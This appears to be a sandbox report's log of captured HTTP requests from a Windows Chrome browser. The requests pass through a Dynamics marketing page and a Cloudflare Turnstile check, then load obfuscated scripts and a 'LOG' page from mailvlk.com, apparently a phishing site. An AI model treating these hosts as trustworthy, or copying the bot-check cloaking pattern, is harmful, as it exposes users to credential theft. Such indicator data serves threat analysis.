Source: global traffic	HTTP traffic detected: GET /97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870 HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=879685369a8a0fc1 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/?__cf_chl_rt_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?onload=ZbqNq8&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mailvlk.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879685459c6269e3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/879685459c6269e3/1713966190447/vp3T4ue4sM7hYw8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/879685459c6269e3/1713966190447/vp3T4ue4sM7hYw8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/879685459c6269e3/1713966190448/a6aceae44c8468ff349a880897d3c52fb1b769f9be6ebd411bda96dd08a8895e/Fd6jCqic8-nVFty HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 HTTP/1.1Host: mailvlk.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"Referer: https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /jq/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d0 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /boot/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d5 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /js/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d8 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9+ronNE95pkpmyw&MD=sRmD9cLz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: mailvlk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /APP-58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe0/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe1 HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
Source: global traffic	HTTP traffic detected: GET /o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b HTTP/1.1Host: mailvlk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
